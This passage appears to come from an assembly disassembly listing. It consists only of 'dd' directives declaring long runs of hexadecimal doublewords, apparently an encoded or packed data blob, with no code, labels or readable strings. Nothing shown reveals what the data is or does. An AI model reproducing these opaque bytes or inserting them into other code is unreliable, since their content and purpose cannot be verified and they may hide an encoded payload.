		dd 5D514592h, 554D0A3h,	7773EA4Bh, 2614F22Dh, 8B09999Bh
		dd 0F6992F34h, 83AAD66Fh, 24718D38h, 0E7BAE59Fh, 21454D22h
		dd 80D7F67Dh, 0E59796B1h, 4A889874h, 8F64BBE3h,	0C39608ADh
		dd 75E54925h, 0A9BB9105h, 56E506Ah, 66339095h, 3583D020h
		dd 5CEC476Dh, 37A08411h, 0CC54E265h, 5318C1ABh,	95A48410h
		dd 5261F2C9h, 7005C4BCh, 460D4459h, 0C64A69E3h,	0D2E472EBh
		dd 94BEB8E2h, 0FA7A42Ch, 6A4849B3h, 0BDA48529h,	14B65278h
		dd 0E8EF14ADh, 0C26D7B3Dh, 442BD762h, 2C3FCAAAh, 0EF0ECE15h
		dd 52748146h, 7DA6D8D2h, 8233B0E4h, 0C55C1FAEh,	0C4FC6B7Fh
		dd 4119FB58h, 275A68E8h, 4CED53E9h, 0D5F1EDD0h,	59EB560Ch
		dd 0EFD7E9E6h, 0B68D4319h, 0ED20FBE4h, 0AA1170C6h, 0B1E96CD9h
		dd 0FFC0C070h, 0D03E94E0h, 7566CB31h, 0B283009h, 0AE303FE6h
		dd 0C0218A35h, 0A9219C04h, 78D440A7h, 61722D24h, 12FC8904h
		dd 9F2F696Ah, 0F7145895h, 48E8A75Ah, 1E1EC4ECh,	89E3B6CBh
		dd 60BBB9CBh, 0CD28059Eh, 1385E4D0h, 0C06F6AB2h, 49775689h
		dd 29898AAEh, 0C97927E2h, 91B3E1D3h, 0F08E6C14h, 4C1DB0A1h
		dd 92396740h, 56E5487h,	0C226C43h, 9260DBA3h, 88C1BE91h
		dd 265C995Eh, 3810DCADh, 86F8C56Ch, 95B684C5h, 0D18971C9h
		dd 0FC6366AAh, 0BF65C90h, 0B41AA39Eh, 0DE4BFA52h, 0C91BADD9h
		dd 85C1B4DCh, 6894C9B4h, 0DDD68529h, 1FC4392Eh,	225DF2D1h
		dd 0C395529Ch, 51A02AB7h, 0BC3F861Bh, 64F28C9Dh, 0EBDD8541h
		dd 6BDAEDBh, 5138093Eh,	35009AA8h, 0C9E37284h, 0CAF8511Bh
		dd 6C10D9FDh, 19655B2h,	203D0430h, 56E5687h, 0A59A0D9Fh
		dd 760804D1h, 0F24BE91h, 424CB92Ah, 6BF52007h, 5214123Ah
		dd 85C20FE8h, 0AE5E2D40h, 0FE3343FDh, 0DD33B082h, 4BA12AD3h
		dd 0AE002713h, 0BADFA8E6h, 89BCA818h, 9E9D3C8Eh, 5FA0E200h
		dd 5C108EA5h, 0CE89318Ch, 1C29B5B6h, 0B1A03F27h, 839FC816h
		dd 67A18471h, 62FF6170h, 79A1DC2Ah, 7E3FB0FCh, 350066E3h
		dd 0D9627B57h, 43E5FB68h, 76587898h, 99446A0h, 0D1F1E84Ch
		dd 557A1D0Ch, 36D7B89Dh, 26F086D1h, 0B0CBFEF9h,	5723B13Ah
		dd 0FC936952h, 845C4C7Ch, 97767CB5h, 82B17BC9h,	0B671DC70h
		dd 566D0B78h, 7F6C2696h, 23C87714h, 0BAFA21B7h,	0D8E4A030h
		dd 8E4947D8h, 0BAB4E0A2h, 0FF0B5C7Dh, 0FC8FA481h, 0F4C668BAh
		dd 915CC732h, 0B4BAC453h, 9887B594h, 0C8766978h, 7AD553CDh
		dd 0E7980DFEh, 68EC13F9h, 0EE35F69Ch, 0CAEDBE93h, 60360868h
		dd 0C9F55E3Ah, 0A4B462D7h, 0FA916744h, 63B206E9h, 9DF703DFh
		dd 0BCD41389h, 4A08F27Dh, 28787A02h, 0E78E450Fh, 95B19004h
		dd 507B364Ah, 2E766F3Fh, 29D877A8h, 0E6ADAB96h,	23A87714h
		dd 6ABA21B7h, 0DC27F957h, 0D7188904h, 82ACD0A2h, 7F4DAA95h
		dd 0ADC071D1h, 46CEE0B7h, 0F1DFB2E4h, 0D39FC816h, 0F48701CBh
		dd 1BBAE65Ah, 8DA1DA77h, 0DA579D29h, 0A0E88A9Eh, 4A897B53h
		dd 964AE47h, 34AF5A98h,	8A154CA7h, 0A4B47B44h, 5835025Fh
		dd 0F65765D5h, 0E69843CCh, 2038FE01h, 0D2DD89BAh, 52F66007h
		dd 0EBEAAD93h, 0ADDA94E0h, 0BD7DF2BDh, 75240506h, 0DF39B4F5h
		dd 0C10126B3h, 2F64F414h, 0B3C8FEB1h, 89DD4CB9h, 84076F67h
		dd 9963CC29h, 7B4ED181h, 0BE121AD1h, 14FF38B6h,	0DDE5B476h
		dd 483FCA13h, 739464D2h, 0D37C6D0Ch, 61A1D830h,	463BB8F8h
		dd 35009872h, 0A380904Fh, 0D90356B5h, 0F08A817Dh, 13F94D67h
		dd 603F379Eh, 8E73A77h,	66C7F116h, 0B55537D5h, 9714F301h
		dd 424D392Ah, 6BF62007h, 5212123Ah, 85C60FE8h, 0D805A49Ah
		dd 252C7572h, 5646731Dh, 0D1F5A596h, 271D872Dh,	3834776Bh
		dd 68BE5BEDh, 0D84F92D0h, 0DEDB18EAh, 24AB5828h, 0C114B75Ah
		dd 0AB997D3Dh, 61A87AADh, 1E312Bh, 0F7546492h, 0D37C6D0Fh
		dd 0DE27D831h, 54A3620h, 35009AB1h, 0EE35F637h,	0CAEDBEA3h
		dd 0B808B00Eh, 0BE3995A8h, 0ED317D40h, 0ED3E47F3h, 66C78C7Ah
		dd 8D89A005h, 0B0A84F91h, 81163C58h, 52F6E007h,	0EB19AD93h
		dd 0ADD494E0h, 0BD61F2BDh, 751C0506h, 0DF29B4F5h, 0C12126B3h
		dd 2BA4F414h, 0B348FEB1h, 96DD4CB9h, 82066F67h,	9D63CC29h
		dd 734ED181h, 0CD3971D1h, 0CB853846h, 14672A53h, 0D07AB117h
		dd 64F28C83h, 179BBD67h, 924AB932h, 3A9EF57Fh, 0DDFF66DFh
		dd 0C9897B3Dh, 0CC87B6B8h, 33C16D55h, 13DE526Ch, 603F359Eh
		dd 8E72677h, 66C78916h,	0B55507D5h, 9714D301h, 424DF92Ah
		dd 0B3447F01h, 5C886130h, 95AA2708h, 1FFAABC9h,	351BC79Fh
		dd 0DCBFC0F5h, 29012ED5h, 0DCD78B44h, 321C6FBBh, 9137A4DCh
		dd 6108F04h, 8AAAE9E9h,	6F562A95h, 4181ABD1h, 15163BC2h
		dd 4DE3B4D9h, 9F0E81C6h, 0FDB464D2h, 92A66D0Eh,	6E725E3h
		dd 0FA4C0A8Fh, 20E8CAB2h, 907684DBh, 0CAD1FC84h, 55D3869Dh
		dd 4C9D08DBh, 0D2854534h, 21D358BCh, 13D785E4h,	0CB0C3451h
		dd 0A0A8DCB5h, 424D992Ah, 0B955E0B9h, 0F99C593h, 0C65FF6E0h
		dd 268E2D21h, 4CFF6906h, 57BE7393h, 0C50AA596h,	6B4BFAEBh
		dd 0B697EB6Bh, 0D23EEC9Fh, 0C857419Fh, 29B0D6A0h, 28C7993Eh
		dd 0C1477FFDh, 268D7B3Fh, 12297765h, 839CC73h, 0E9EECF0Ah
		dd 5476454Dh, 0DA14D80Ch, 3404AE1Dh, 35009A35h,	0EE35F62Fh
		dd 0CAEDBF73h, 59360FA8h, 0A8916213h, 15DC78C0h, 617E46F3h
		dd 66C7B4E9h, 0FF6CFB5Ch, 0B0A83EB4h, 4EA13A2Ah, 0B145FF01h
		dd 9F1AD09h, 95AEC708h,	9CB0ABC9h, 75103005h, 5FE03FF5h
		dd 3F93CEC6h, 0A9B188EBh
		dd 765C4CA7h, 90DF5B20h, 6A14CC8Fh, 4EA2FF20h, 674EC0E1h
		dd 348F3188h, 0E0CB6753h, 0D55072ADh, 7A4CD5h, 87B8C83h
		dd 0A872AE54h, 85E4512Dh, 0B5E3A1CEh, 73744803h, 0CDAD379Ch
		dd 8E677F52h, 0BA848EF9h, 48E78963h, 0F4434432h, 716DA904h
		dd 0EE0DB41Eh, 340445Bh, 7169876Bh, 8A4F51CAh, 0D8D3A8DBh
		dd 8653C47Ch, 965A0731h, 0AD7B1B08h, 0F0A7C3FFh, 0DFABC027h
		dd 0B42B6191h, 644328EEh, 0B6DCACC6h, 92B7A463h, 0A9A8418Fh
		dd 0A0A49529h, 47025A2Eh, 5D5879C1h, 0AFC1B3BFh, 1BA7D42Ah
		dd 8379C95Eh, 0AD77C5C1h, 5374987Ch, 46BF590Ah,	0BDE3B9CCh
		dd 34EB500Bh, 0C9B3FB5Dh, 1A644566h, 0BE104F14h, 4C1D05D3h
		dd 0A08E7C0h, 56E4A87h,	2A4CCE45h, 2A820778h, 7F210EB5h
		dd 0CB0981A3h, 2A986A88h, 0DD1E55E4h, 5D307695h, 49B8A996h
		dd 5144BBAAh, 73C93FFDh, 2A5BAF9Ah, 1A283515h, 0D0A5DDE2h
		dd 1974E6DEh, 0B16448Ch, 2B52E0E9h, 0D28D8AB5h,	6104F26Eh
		dd 0BC29B5B7h, 0F1A03F26h, 0B2D170Fh, 6FE2A8DFh, 97EB494Ch
		dd 0A5915117h, 8C2C2DC0h, 418B4577h, 40CF6F23h,	0CAD53FF3h
		dd 0EB5A8368h, 0C55A26C7h, 15A2E1B8h, 46853897h, 72E3D19Dh
		dd 2609A553h, 0A78A06C2h, 86CD192Ah, 0BDD6605Ah, 3E57B0ACh
		dd 0CEE4DB20h, 0D9027F0Ah, 0B58768A0h, 0AB7D37F6h, 0C181357Eh
		dd 7168FE14h, 0B40F3821h, 327344Ch, 1C845C1Fh, 3C3405B9h
		dd 4B4EEC2Ch, 2589F2D1h, 7FE73093h, 0C1A0D6A7h,	4057415Ch
		dd 0E1F28C90h, 7FF5009h, 69975128h, 594E3462h, 0F9899B7Fh
		dd 89027384h, 5A2EEF37h, 0B0360E28h, 1A4E1000h,	39E9FF97h
		dd 8C660B0Ch, 234C6D53h, 666CEC50h, 702D3818h, 42ACBD25h
		dd 4596A952h, 8A9A4560h, 95BB844Eh, 306FB742h, 75003029h
		dd 6C9DF77Eh, 0CEC636D5h, 36F69F47h, 0A186A8E2h, 3BBAB1Ch
		dd 0EB14CC8Fh, 0AAA496DEh, 3D18C509h, 0AD4179DBh, 6C17D0E7h
		dd 0F5233F26h, 0F03FC850h, 0A1358B6Bh, 17FF6DFBh, 75A1DA29h
		dd 3C3FB0C4h, 0BE0EEE36h, 9C0282B2h, 8A3D90DFh,	0D83FCED4h
		dd 0A06895AFh, 0A65878CBh, 56E508C4h, 0EF164406h, 0B305719h
		dd 77A1BD65h, 4248216Fh, 45926952h, 4A069298h, 0D61FD41Ch
		dd 0C549A2D9h, 0F743CF07h, 1286B831h, 4B59276Ah, 0C0618B51h
		dd 0AB0FEB6Fh, 154DA5CCh, 2694F9Fh, 0DBAFE129h,	935D2A95h
		dd 1981ABD0h, 0BD1030C2h, 0EEF2BA56h, 371CBEA1h, 10FA8C87h
		dd 0F6173E04h, 0DCE45109h, 30CBB0A4h, 50F76377h, 4279546Fh
		dd 1B644286h, 0C2245A8Ch, 0C5464133h, 0BD775B2Ch, 5496E0Ah
		dd 0C23E043h, 9291C3A3h, 88C3CE91h, 2658F95Eh, 38191CADh
		dd 86E8456Ch, 959584C5h, 0D44F71C9h, 0FDEF66AAh, 0AFE5C90h
		dd 0E670759Eh, 6E3877E2h, 0DCA3BD1Dh, 5DB2B4DCh, 0FA7EC4FAh
		dd 8ABCEAC1h, 0CA89887Dh, 0C104F22Ch, 1FD6B3B7h, 31F3C009h
		dd 80A0A907h, 0CC198C84h, 9C132889h, 0CE4DA1Bh,	0FC4C1174h
		dd 708BCBC2h, 0A8612D83h, 49EDBADBh, 0B8108059h, 996F749h
		dd 6C5C57A4h, 5C6E149Fh, 993A2895h, 2856736Dh, 40E625CAh
		dd 4245104Eh, 0B118E952h, 0B4E9880h, 0B22A09E0h, 0D8A5F2C9h
		dd 2751B9ACh, 0A14CE3A3h, 0D3296EFCh, 6708771Ch, 0E11A6B6Bh
		dd 75E4FDA8h, 0F814DA5Bh, 9CE11E70h, 0E92F4h, 8A8DE295h
		dd 2FFF6BF3h, 38C0570Ah, 5F1515Eh, 6498DC89h, 0EAFF78FDh
		dd 426D4104h, 3CC3B6BAh, 0CA0AEEEAh, 0C975ED7Ah, 212B33E3h
		dd 632B01E3h, 0B1190B13h, 0D28910C0h, 7091E978h, 0F6D39E1Ch
		dd 0FF19BBA0h, 39AF5557h, 115D52D2h, 0C7EFC2BAh, 0F90A1C93h
		dd 7DC18394h, 0D8A7FA89h, 8B78B3A0h, 0A3EEAAAh,	0E54DAB55h
		dd 3FE87714h, 375540B1h, 5DBEA4DCh, 0F1610C0Ah,	0EB4C9443h
		dd 0DE4ED16Ah, 4E008951h, 4F6AC748h, 0B5E3B453h, 0A06FBE0Fh
		dd 0B7E28C79h, 17E9BED5h, 858E0805h, 44CFE0CAh,	0F65B8B26h
		dd 0EE35F0C7h, 0CAEDBAE3h, 17AF0B8Eh, 11681FA0h, 2DB40128h
		dd 3120F085h, 0C59F7D16h, 660935CCh, 0B0A0CD79h, 4D89DC2Ah
		dd 3818BFD6h, 1AE92D6Ch, 551584E0h, 0D86076C6h,	0ED4430F9h
		dd 0BF6DB4E2h, 0C2E13162h, 3FD428FCh, 3DE540E2h, 9B48A4DCh
		dd 0F6143CD7h, 90493192h, 7C4B3A6Dh, 0BDC771C3h, 0E631C336h
		dd 62D22F59h, 0C07AD0B6h, 408E0F85h, 6C8A6D31h,	75BC6C85h
		dd 0C7C7E537h, 0D8A4204Ch, 0CC626D5Fh, 96EA96Ch, 97280839h
		dd 3E0D1981h, 75B9FD33h, 0EE7E1A77h, 9E56D804h,	0D541DB5Ch
		dd 0A0AB6601h, 0ECC6DD5h, 0BB0829A5h, 0F76D551h, 70E484F0h
		dd 0D8B22D21h, 6192D8F9h, 92BDB4F5h, 4011269Ch,	3F5EFB29h
		dd 132BA8F2h, 9FB7A4B4h, 4614A68Fh, 82A463A5h, 0F35B2E2Dh
		dd 6614F22Dh, 1B63B4B2h, 0F1A03F49h, 0B169AA5Fh, 67E66745h
		dd 14F34940h, 858E5972h, 0B9D23ED1h, 34B8C21Eh,	92897D47h
		dd 5AEDB641h, 60360048h, 11964E7Ah, 3DC1884Ch, 81BC702h
		dd 969E4895h, 309C35Ch,	5B6A5F95h, 43B29A7Dh, 0C398EC26h
		dd 5981B06Eh, 9DD70FB3h, 26631A99h, 0B421CF06h,	40B8A81h
		dd 9309631Dh, 0C07948FCh, 0A158211Dh, 8FC2A527h, 0E861330Ah
		dd 17A4FF7Fh, 131ED938h, 56FB0C78h, 0EEE1E332h,	0A4A3C4DBh
		dd 0CB29174Eh, 8CA284CFh, 0E80093A8h, 87919185h, 414E0A0Ah
		dd 685BC545h, 5989718Dh, 0CACAC63Eh, 0B0360028h, 1A4E0000h
		dd 25F18797h, 0C46DDE04h, 86077FFEh, 76B95652h,	39AA7ED1h
		dd 40AEF8DDh, 25114105h, 86D0456Ch, 55167CA5h, 0DD68E3BCh
		dd 64A0C66Dh, 5745B4F5h, 0FDD8E6A7h, 9E687716h,	32DEAD7Ah
		dd 0E5A3B157h, 3515DC8Eh, 0EB5CD012h, 63535A69h, 3014F3D5h
		dd 0EB943D2Fh, 0CF29F859h, 0EB78AF9Eh, 1CB70787h, 0CD76AEB6h
		dd 556D9328h, 494E3214h, 0B8027BD7h, 0DC007E23h, 0DAECBF37h
		dd 0F1FA73D4h, 0D4BEC825h, 8CA40C45h, 156EF007h, 5FC2CD95h
		dd 0F504969Fh, 0B05AC6ACh, 0C746D93Ah, 381B6820h, 0F794DCDh
		dd 61D90DF0h, 2839EF40h, 311720F9h, 0D44E3D01h,	4A6F2255h
		dd 3FB8F709h, 0D29B09F2h, 2032B4DCh, 3A2DC8FBh,	852D935Fh
		dd 0E34E21F9h, 99090259h, 421538B7h, 0E1209E5Bh, 84F7515Fh
		dd 0E451703Ah, 9CEF6DCFh, 8514D117h, 0B4377C2Fh, 0B5009B12h
		dd 270A7FB6h, 0CE2E3851h, 33230E1Ch, 0B045967Ch, 0DD2C3BFBh
		dd 37191287h, 96563C2Dh, 647EFB5Ch, 0B05AD230h,	4D8FC03Ah
		dd 0D898F9C5h, 0FFCDCC6Dh, 13C970Bh, 0E1A3F239h, 0A40F3F3Fh
		dd 0D7B45476h, 86D82456h, 0CF6DFCE4h, 17649809h, 0F137547Ch
		dd 7FB5D9F8h, 0A3B495D9h, 3FD9DEBBh, 2051253h, 9E1C3C77h
		dd 0D0B3D4A8h, 907AB1FBh, 73FD4AB3h, 161FEEEEh,	0CE29180h
		dd 0FC4C0544h, 0C5B038FEh, 79286D27h, 41FDBBB3h, 0C38F0B99h
		dd 9940B2Ch, 58748AA8h,	0E9338DACh, 0C72E589Fh,	660903ECh
		dd 0EC2F3218h, 0E35999DAh, 281A19E2h, 0FF24C055h, 80E094E0h
		dd 0D8454268h, 843893E9h, 5D56A4F5h, 48A9631Dh,	7A818F54h
		dd 0CBDA230Eh, 6A4BE755h, 0BA9D24DAh, 88F11ED1h, 60B28BF5h
		dd 0CA8D1E95h, 6A65B14Fh, 8B293DB8h, 32F38376h,	0C5C1058Fh
		dd 7FF9D8Eh, 0D9614D85h, 52D7F5F3h, 9905640Ch, 68997DDFh
		dd 0DAED4BDFh, 6F56B27Eh, 4C0D1A1Ch, 0D5370DB5h, 0BD887A80h
		dd 66C60117h, 0B58A9CB7h, 95A9B56Dh, 3DB646D5h,	7D935953h
		dd 27BCC90h, 159F84E0h,	5816F140h, 0F9803009h, 0D40604F1h
		dd 48612666h, 3C18F701h
		dd 0AADC23F2h, 0F7BC589Eh, 0F1143C0Fh, 6B58D0A2h, 674ED17Ch
		dd 348FF059h, 3B80B344h, 38B03FA8h, 29B8099h, 0E4FF46A2h
		dd 9E7F6D39h, 0C669554Fh, 0A02FA501h, 6CFF64F5h, 0C9897CAFh
		dd 91B3E463h, 0F08E6254h, 4C1DA521h, 92390940h,	56E0887h
		dd 0E5239443h, 205927B0h, 3B713FC6h, 82C9516Fh,	3AF2A851h
		dd 8C89B5E1h, 90EB801Eh, 0D8B9F677h, 4F7301F9h,	545D2CC0h
		dd 0F8535186h, 3C38E721h, 820DDFF2h, 0F2B75450h, 791B0AB6h
		dd 614416F9h, 8BE94F5h,	899053C3h, 4DAC28B8h, 1270A857h
		dd 0F940B8h, 94B70589h,	0FC0F28B2h, 25D16A3Eh, 0CED7F5F7h
		dd 0C59C3A17h, 0FB06D1Fh, 493D2C1Ch, 0F3508EDDh, 0BC589C68h
		dd 8915192Bh, 3C7E0A77h, 0B65116D0h, 0F50BEBDFh, 0F5231851h
		dd 0B20FF2DAh, 99EE6CDBh, 1F8AB5C0h, 0E86DC1D9h, 28175389h
		dd 310120F9h, 0DFA35F01h, 931CD2D3h, 0C8FDFE15h, 7FDAAC69h
		dd 6A27A42Ch, 9BD4494Ch, 92243409h, 1FCDC17Ch, 14C7CB2Ch
		dd 67CEB3BBh, 7A5C62D1h, 0F38D7863h, 18A90783h,	62033003h
		dd 0F61368FDh, 4DBA760Fh, 0CC0E776h, 9FAB0EF0h,	3511C4EBh
		dd 0F356D6E2h, 4E209123h, 9D150B40h, 8C7E0C77h,	7A4DE153h
		dd 76FA4FD9h, 5B916581h, 0B6379A23h, 0C71E9752h, 0F7033121h
		dd 0D01374C9h, 0DC457125h, 75FDB2F6h, 0CC3CB4F5h, 0FA912666h
		dd 0AFF9B51h, 2C6F3843h, 0FF29DCCh, 60B5DFF8h, 55B495D9h
		dd 4C413D39h, 68E47100h, 80717D31h, 21349E4Ch, 5435158h
		dd 0B4658364h, 94FE8DBBh, 0C06D53C8h, 5D827EEFh, 95A1AF91h
		dd 0F0997DFFh, 0DC9A5776h, 332313DCh, 0A0582DFCh, 0AE6483CFh
		dd 0C5ED0F67h, 82839812h, 0D2AB0FB7h, 89BAFE61h, 0D545D56Fh
		dd 39FD2A82h, 868385EFh, 0D01060A5h, 30FA7B2Dh,	4D747572h
		dd 0D08A5CB0h, 0C3B12676h, 0B594349Fh, 71E448A7h, 6F00D13Ch
		dd 0E9D338CAh, 6E54C9ACh, 0D74ED16Ch, 0A54179D0h, 8B393D81h
		dd 7ED52F58h, 58547B3h,	0F4F27C24h, 170FC19Ah, 0D8D219h
		dd 0A9C70551h, 0B605EE76h, 2FF57B0Fh, 896684C8h, 0EF961AA5h
		dd 0C7C13927h, 6F3DC505h, 0E53A5B7Bh, 0EF1AA89Dh, 33815B1Eh
		dd 35B1F565h, 52442976h, 7D8A6427h, 0D3E84E98h,	0D6F19069h
		dd 53F1F239h, 70B7D8BCh, 54FDE870h, 20E4AF86h, 1F3DB791h
		dd 0A1FFF56Bh, 0A93C7881h, 5F084567h, 58A46575h, 2AA694F7h
		dd 0D9F45ED5h, 0C08646A8h, 0BD03D71Eh, 2B6A41AAh, 0B8B70785h
		dd 9E072DB8h, 0C06FB13Fh, 45847D33h, 0BCDCC939h, 9C028725h
		dd 36B73F33h, 0BA33D536h, 996972Fh, 0EC76AF2Ch,	0DCE6D065h
		dd 274F383Fh, 9F092258h, 0B0ADDE19h, 0CBA8BCA1h, 3AE3E890h
		dd 0DE959CE5h, 371C569h, 539619CAh, 31B1CCBAh, 0B0288F11h
		dd 0B95A11E3h, 0BF2CB0E0h, 385F58BEh, 0ED37A4DCh, 0E2E08904h
		dd 4A54392Ch, 0E401A46Ch, 6D010DD6h, 0FA853848h, 61A0CFF7h
		dd 0DCFF7DD9h, 0E4E28C7Ch, 0EF7C6847h, 6E022D7Ch, 41847FC0h
		dd 0BEE0D927h, 8C029F32h, 36AF3F27h, 0B837C516h, 0E948F69h
		dd 0D9F1ACB8h, 59EAC8BCh, 13D6E5E6h, 824F3851h,	394DFB1Ah
		dd 0B2181C3Eh, 0C689F952h, 0EF7D3DE5h, 0A3AC0DE2h, 0DCA77F0Bh
		dd 0FDCC7570h, 54B73507h, 75412696h, 0B3F4C740h, 0D1DA23F2h
		dd 0B2B3645Fh, 349D97D1h, 0AB2D5674h, 61AB5829h, 2DAC9A2Fh
		dd 13FD28B8h, 35B03F2Fh, 407A74A5h, 0ED968C8Dh,	17FF6D17h
		dd 8908D264h, 3090A2A0h, 70C774CFh, 0C9897F8Bh,	3C7917F3h
		dd 76EA80FDh, 262D1DE4h, 28D6C8C0h, 0C236D687h,	66C61D53h
		dd 3381BB5Ch, 0C145EE99h, 1BBB46D6h, 0BBE4ECDBh, 0E740B921h
		dd 8A7784E2h, 0D88DFB22h, 74358B11h, 0D7A6EDF5h, 89F1C2EBh
		dd 33ADFC19h, 2A0540B2h, 676EA4DCh, 0A49728CAh,	5DD195CDh
		dd 74FAA94h, 0BD0435D0h, 0B09538B8h, 0EFFFDB1Eh, 0F037CA00h
		dd 0E4FF05E9h, 9EFF6D2Dh, 15270C89h, 9D9B7FA6h,	0A4FB1DAEh
		dd 0C6897F57h, 0CAED7767h, 0B099EFDDh, 40613E57h, 52EDDAC3h
		dd 984B279Fh, 76C61E62h, 0A0B38DFh, 0F3560DE8h,	66BA2D55h
		dd 38E4B1CFh, 6344467Ch, 71F3EC9Ch, 27EE8DBBh, 9014ADDDh
		dd 0AFECA4F5h, 0FCE12616h, 0C0492368h, 291FA866h, 0CA48E8A3h
		dd 0C6F0C812h, 0F45F1439h, 774ED17Ch, 1EFF73AAh, 7F9538B8h
		dd 10B2403Eh, 0C07ADFA0h, 0E5A9F88Dh, 17FFCCD6h, 6ED72566h
		dd 0E3C75D6h, 49009CA2h, 1E72FE46h, 0B5EDB693h,	0AEF76E3Ah
		dd 5C1D8A50h, 2AACD941h, 271BDA87h, 0DF2EF9FDh,	0B10ACB5Ch
		dd 0B0AD8891h, 42E5902Ah, 91E82952h, 0C8BE456Ch, 8A7186E0h
		dd 0D87B1BC9h, 0EDC030F9h, 9355B4F5h, 0FD112A96h, 3B289E14h
		dd 0A0B7A8E2h, 2837A4DCh, 0C714C18Fh, 0BAD77E29h, 7F4ED100h
		dd 0A10FF217h, 7D7E38B8h, 0F1A050B3h, 917A865Bh, 0FF28C8Dh
		dd 179D8575h, 85235167h, 0B9C7F4F0h, 60E8D075h,	0E897F47h
		dd 0CAEDBC83h, 0DBEC7A1Dh, 4C1D6964h, 2DBC2387h, 3784DC87h
		dd 66C6CEFEh, 6E0A145Ch, 5BAC6E91h, 426BF10Fh, 38C4E952h
		dd 0FBEC570h, 0AB9A9C0Bh, 1FEDF2C9h, 742410F9h,	0BC565FF5h
		dd 0FD012682h, 3B9A77D3h, 0E9C4A8E2h, 0EFB71B51h, 7B99CC8Fh
		dd 5CA49529h, 7B422A94h, 0A1C471D0h, 0CC29B57Bh, 0D1A03F5Ah
		dd 7048020Dh, 54C2CFEAh, 941AE479h, 0D3B7598Ch,	323BA1ACh
		dd 708B90C7h, 0CDC98847h, 0CAEDB6B5h, 765AEA08h, 5C58E314h
		dd 0A0486949h, 46E626C2h, 6AB57AEAh, 0F502A0D7h, 0C1D8816Fh
		dd 0C13335A7h, 3807262Eh, 5AEF0018h, 7563EF6Dh,	85EB7D9Dh
		dd 787DBBA7h, 67317470h, 86BA1AEEh, 4680241Ch, 0A9DFA8E2h
		dd 9BBAA018h, 2D479A9Fh, 5EA495E9h, 0FA4615FFh,	906E84DCh
		dd 0F31A7C33h, 31A167B2h, 8F7ECA5Bh, 1BFECF3Bh,	9CF7E27Bh
		dd 8969591Ah, 36F37F8Bh, 35B83D7Dh, 22897F37h, 0A160E3B6h
		dd 602CFB4Dh, 4C1DEF44h, 2570AE40h, 56E78DAh, 399B8D16h
		dd 9A83B802h, 0F218DCCh, 4245D92Ah, 1C4FE207h, 84904E64h
		dd 12C98A1h, 30A1EA88h,	741C30A5h, 9457076h, 6D212254h
		dd 3B6F0B99h, 79FA21B7h, 9AE2F38Ah, 0AA14A68Fh,	48A4E001h
		dd 9B46A483h, 9904BD28h, 90CB67E5h, 0D2FDD3D3h,	0C45E0DD0h
		dd 62F6CD45h, 0AFFF6D2Fh, 85E45163h, 0FD4CFB8Bh, 618B94B6h
		dd 0CB006F1Bh, 0CAEDB4EBh, 8F5E55BDh, 4C1D6B4Bh, 0A08A3C0h
		dd 56FC287h, 0ED91DF45h, 261ACF18h, 80C4A0FBh, 2655F95Fh
		dd 38031CADh, 86DC456Ch, 8A7D84C5h, 0FCB779C9h,	7C40BBD9h
		dd 0D6B9C47Eh, 0D325D968h, 1F0C032Fh, 1ED28096h, 423B2FAAh
		dd 0CB308006h, 0D9A8DDA0h, 6F4A6200h, 806CE0A5h, 509538B9h
		dd 99A88C1Eh, 807A410Eh, 0EC41D84Dh, 989BAEC5h,	85E45166h
		dd 0B50377C1h, 0F65BC2D1h, 0EE35F2B7h, 0CAEDB743h, 0B8B756ACh
		dd 4C1D6B21h, 29CDAE40h, 156FB1B7h, 374D9563h, 7A587850h
		dd 0C5A47FA8h, 4244212Fh, 0B5C1E952h, 0FB8C5D3h, 0ADC209E0h
		dd 0D8F5F2C9h, 0C0AF61AAh, 0BEADB405h, 4610759Ch, 2B0887A0h
		dd 0A297E569h, 0B23EAC97h, 0CC7F458Bh, 2066CE70h, 0FBDE417Ch
		dd 19946240h, 3B05A828h, 0C130AFCAh, 40124131h,	0EF28CA3h
		dd 3EA922Eh, 26F45191h,	0A9C6F15Fh, 0A00F5C0Fh,	0C869FCFFh
		dd 0CA923AB0h, 32D60A5Ch, 59E23AFCh, 3DB4D5D8h,	0F3C340h
		dd 66C69117h, 0FFC9FB5Ch, 9710B36Eh, 4245B92Ah,	3C26EDD9h
		dd 0AEBB2F3Ch, 9A7E817Ch, 0C4E20D99h, 0B7003004h, 55A50B78h
		dd 42FC2696h, 38E87714h
		dd 0A03A21B7h, 7967A899h, 0AB44C4CAh, 23383429h, 981EC17Dh
		dd 71F9D2C5h, 2B5665A9h, 0B18743D7h, 45E05DFh, 45F2E6E3h
		dd 7FE68B5h, 0A1F1AE3Dh, 7AD7F438h, 3500230Bh, 76047F17h
		dd 0CAEDB763h, 7758C08Eh, 264D6688h, 28288840h,	0FA3FD886h
		dd 663BB503h, 4BC88A4Ch, 4F53F16Eh, 0B4775D5Fh,	0E68B6BB9h
		dd 54E535E5h, 0ADC40923h, 0D8F9F2C9h, 70287472h, 0F4ADDEA5h
		dd 0ED60230Ah, 14DD8844h, 0AE0FA81Fh, 2222AB1Ch, 0D152C0Ch
		dd 2083E9A4h, 63BE15DDh, 6CFBA2C0h, 9B95C4C9h, 9150F7FBh
		dd 0D5851144h, 74F270C3h, 170FA188h, 901B017Eh,	0A9C708B7h
		dd 35F04C23h, 0DC762F0Fh, 0DAED4B63h, 0A34307FEh, 0DC8DF5FCh
		dd 0BD24BA50h, 95FF5A17h, 66C22245h, 72800B5Ch,	0B05CDA0Ch
		dd 3686FC3Ah, 2DFD7947h, 1FBAB85Ch, 4EE4806Bh, 88EBF239h
		dd 8BE26B11h, 0D6D6ED0Ah, 27ED2F6Dh, 3858B3B5h,	3EA0F8F2h
		dd 0E33759ECh, 0CFE4042Eh, 375BC539h, 4F4E2C4Ch, 61F43E71h
		dd 8E6A68A9h, 0E1A0C26Ah, 808A91F5h, 0F10DDCA3h, 7FF9018h
		dd 7A6D9234h, 3A227D9Ch, 0BE539812h, 0F50A775Ah, 0CA1D739Eh
		dd 62A6970Dh, 9F57D46h,	744BD4BAh, 8093890Eh, 0CCEE0D6h
		dd 7C3DFB5Dh, 0DAF5EE91h, 0BD88F129h, 0BB5C16ADh, 0FF7E5850h
		dd 0FF7A94E0h, 24B879DFh, 411CFA9h, 0DE8DB409h,	0F908DAD3h
		dd 3878B389h, 5F9543F2h, 1BE75899h, 33EB254Bh, 0C4A7FF70h
		dd 5B4ED160h, 0F4007989h, 7B95C87Dh, 0A5B5C00Ah, 1B6A41A8h
		dd 0A7AF6039h, 3043E0B8h, 85E45168h, 0BDE3B040h, 0F1859871h
		dd 99997FFFh, 3695A2CCh, 0BE10877Dh, 4C1D6453h,	0A08B9C0h
